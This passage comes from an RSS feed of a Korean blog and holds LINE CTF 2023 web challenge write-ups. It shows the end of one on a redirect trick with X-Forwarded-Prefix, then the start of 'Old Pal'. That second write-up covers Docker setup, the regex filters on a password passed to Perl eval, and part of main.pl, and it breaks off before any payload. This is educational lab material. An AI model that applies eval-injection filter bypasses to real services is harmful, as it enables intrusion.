data-og-image=&quot;https://scrap.kakaocdn.net/dn/dGhLA9/hySdqYZOKF/C9Di1HoOK2xMV8Rq3mxRk0/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/gin-gonic/gin/issues/2916&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/gin-gonic/gin/issues/2916&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/dGhLA9/hySdqYZOKF/C9Di1HoOK2xMV8Rq3mxRk0/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Respect the X-Forwarded-Prefix header (for redirects) &amp;middot; Issue #2916 &amp;middot; gin-gonic/gin&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;TL;DR Add support for the X-Forwarded-Prefix for improved support for reverse proxies. Redirects should always be relative to X-Forwarded-Prefix, not only in RedirectTrailingSlash. Description Redi...&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;revenue_unit_wrap&quot;&gt;
  &lt;div class=&quot;revenue_unit_item adsense responsive&quot;&gt;
    &lt;div class=&quot;revenue_unit_info&quot;&gt;반응형&lt;/div&gt;
    &lt;script src=&quot;//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot; async=&quot;async&quot;&gt;&lt;/script&gt;
    &lt;ins class=&quot;adsbygoogle&quot; style=&quot;display: block;&quot; data-ad-host=&quot;ca-host-pub-9691043933427338&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-format=&quot;auto&quot;&gt;&lt;/ins&gt;
    &lt;script&gt;(adsbygoogle = window.adsbygoogle || []).push({});&lt;/script&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ Solve!&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;url 파라미터가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;http://127.0.0.1:8080// 로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/(슬래시)가 붙은 이유는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이래야 Redirection이 발생하기 때문&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;221&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dqb2Mz/btr8KHMFZVd/sXJrlNDbuQL2SsekkkKv61/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dqb2Mz/btr8KHMFZVd/sXJrlNDbuQL2SsekkkKv61/img.png&quot; data-alt=&quot;Solved!&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dqb2Mz/btr8KHMFZVd/sXJrlNDbuQL2SsekkkKv61/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdqb2Mz%2Fbtr8KHMFZVd%2FsXJrlNDbuQL2SsekkkKv61%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;151&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;221&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Solved!&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>Study/CTF</category>
      <category>CTF</category>
      <category>LINECTF2023</category>
      <category>writeup</category>
      <category>X-Forarded Header</category>
      <category>문제풀이</category>
      <category>해킹대회</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/179</guid>
      <comments>https://chmodi.tistory.com/179#entry179comment</comments>
      <pubDate>Sun, 9 Apr 2023 15:16:40 +0900</pubDate>
    </item>
    <item>
      <title>[Line CTF 2023 Write Up] WEB 2번: Old Pal</title>
      <link>https://chmodi.tistory.com/178</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 LINE CTF의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 분야 2번 문제 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 개요&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정규표현식으로 작성된&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;입력값 필터링을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우회하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FLAG를 획득하는 문제&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;825&quot; data-origin-height=&quot;516&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bUejBC/btr8axcWBJE/jsSgPFez48fpHoL6Z0Mex1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bUejBC/btr8axcWBJE/jsSgPFez48fpHoL6Z0Mex1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bUejBC/btr8axcWBJE/jsSgPFez48fpHoL6Z0Mex1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbUejBC%2Fbtr8axcWBJE%2FjsSgPFez48fpHoL6Z0Mex1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;438&quot; data-origin-width=&quot;825&quot; data-origin-height=&quot;516&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 환경 구성&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 파일을 다운받으면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Docker Image의 내용이 명시된&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Dockerfile과&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;docker-compose.yaml 파일이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 명령어로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도커 컨테이너를 설치 및 실행시킬 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1680828032409&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# DockerFile과 docker-compose.yaml 파일이 있는
# 디렉토리로 이동
&amp;gt; cd dist

# Docker 컨테이너 설치&amp;amp;실행
&amp;gt; docker-compose up&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1023&quot; data-origin-height=&quot;545&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7Hqjr/btr8vPwHI7w/15J1OJUbZnnAaBDadoE2D0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7Hqjr/btr8vPwHI7w/15J1OJUbZnnAaBDadoE2D0/img.png&quot; data-alt=&quot;Web 2번 문제 설치 중&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7Hqjr/btr8vPwHI7w/15J1OJUbZnnAaBDadoE2D0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7Hqjr%2Fbtr8vPwHI7w%2F15J1OJUbZnnAaBDadoE2D0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;373&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1023&quot; data-origin-height=&quot;545&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Web 2번 문제 설치 중&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치된 후 실행 중인 컨테이너의 CMD 창은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;종료해도 상관 없습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;498&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vmznj/btr8vtgk3Kb/FiC0r1WJWz9fjuyFHxKEMK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vmznj/btr8vtgk3Kb/FiC0r1WJWz9fjuyFHxKEMK/img.png&quot; data-alt=&quot;실행 중인 Web 2범 문제의 도커 컨테이너&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vmznj/btr8vtgk3Kb/FiC0r1WJWz9fjuyFHxKEMK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fvmznj%2Fbtr8vtgk3Kb%2FFiC0r1WJWz9fjuyFHxKEMK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;340&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;498&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;실행 중인 Web 2범 문제의 도커 컨테이너&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 명령어를 통해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행 중인 컨테이너의 PORT를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확인할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1680828647883&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 실행 중인 Docker Container 확인
&amp;gt; docker ps&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;140&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1KnHW/btr8wS7Ii7i/hALMNksDlfq0ZHdDB9dhmK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1KnHW/btr8wS7Ii7i/hALMNksDlfq0ZHdDB9dhmK/img.png&quot; data-alt=&quot;접속 PORT 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1KnHW/btr8wS7Ii7i/hALMNksDlfq0ZHdDB9dhmK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1KnHW%2Fbtr8wS7Ii7i%2FhALMNksDlfq0ZHdDB9dhmK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;96&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;140&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;접속 PORT 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도커가 실행 중인 서버(호스트)의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IP와 PORT로 접속하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 사이트를 확인할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;180&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bUaE9l/btr8BfA3uox/Giapgsv93Ss0butNk5YAF1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bUaE9l/btr8BfA3uox/Giapgsv93Ss0butNk5YAF1/img.png&quot; data-alt=&quot;Web 2번 문제의 사이트&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bUaE9l/btr8BfA3uox/Giapgsv93Ss0butNk5YAF1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbUaE9l%2Fbtr8BfA3uox%2FGiapgsv93Ss0butNk5YAF1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;123&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;180&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Web 2번 문제의 사이트&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 분석&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제로 제공된 파일들 중&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중요한 파일은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;main.pl&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ main.pl&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;main.pl 파일의 내용입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자로부터&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;password&amp;nbsp; 파라미터를 입력받은 후&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;필터링을 거쳐&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마지막에 eval 함수의 결과가 TRUE이면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FLAG를 획득할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;필터링 규칙은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정규표현식으로 이루어졌으며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;필터링 규칙:&lt;/b&gt;&lt;br /&gt;- 패스워드가 &lt;b&gt;비어있지 않은지&lt;/b&gt; 확인&lt;br /&gt;- 패스워드가 &lt;b&gt;20자 이하&lt;/b&gt;인지 확인&lt;br /&gt;- 패스워드가 &lt;b&gt;알파벳, 숫자, 하이픈(-) 또는 언더스코어(_)만 포함&lt;/b&gt;하는지 확인&lt;br /&gt;- 패스워드가 &lt;b&gt;알파벳, 숫자, 하이픈 또는 언더스코어 중 적어도 하나씩을 포함&lt;/b&gt;하는지 확인&lt;br /&gt;- 패스워드가 &lt;b&gt;&quot;0-9_-boxe&quot; 중 하나라도 포함하지 않는지&lt;/b&gt; 확인&lt;br /&gt;- 패스워드가 &lt;b&gt;eval 인젝션을 허용하는 문자열을 포함하지 않는지&lt;/b&gt; 확인&lt;br /&gt;- 패스워드가 &lt;b&gt;&quot;Mx. squ1ffy&quot; 중 하나라도 포함하지 않는지&lt;/b&gt; 확인&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;#!/usr/bin/perl&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;# ...&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: bold; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #b1b100;&quot;&gt;my&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;$pw&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; uri_unescape&lt;span style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #000066;&quot;&gt;scalar&lt;/span&gt; &lt;span style=&quot;color: #0000ff;&quot;&gt;$q&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #006600;&quot;&gt;param&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ff0000;&quot;&gt;&quot;password&quot;&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;# password 파라미터 확인&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000ff;&quot;&gt;$pw&lt;/span&gt; &lt;span style=&quot;color: #b1b100;&quot;&gt;eq&lt;/span&gt; &lt;span style=&quot;color: #ff0000;&quot;&gt;''&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #000066;&quot;&gt;print&lt;/span&gt; &lt;span style=&quot;color: #ff0000;&quot;&gt;&quot;Hello :)&quot;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: bold; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #000066;&quot;&gt;exit&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #009900;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #666666; font-style: italic;&quot;&gt;# 길이 20 제한&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: normal; vertical-align: top;&quot;&gt;
&lt;div style=&quot;font: normal normal 1em/1.2em monospace; margin: 0; padding: 0; background: none; vertical-align: top;&quot;&gt;&lt;span style=&quot;color: #b1b100;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #000066;&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000ff;&quot;&gt;$pw&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span style=&quot;color: #cc66cc;&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li style=&quot;font-weight: bold; vertical-align: top;&quot;&gt;
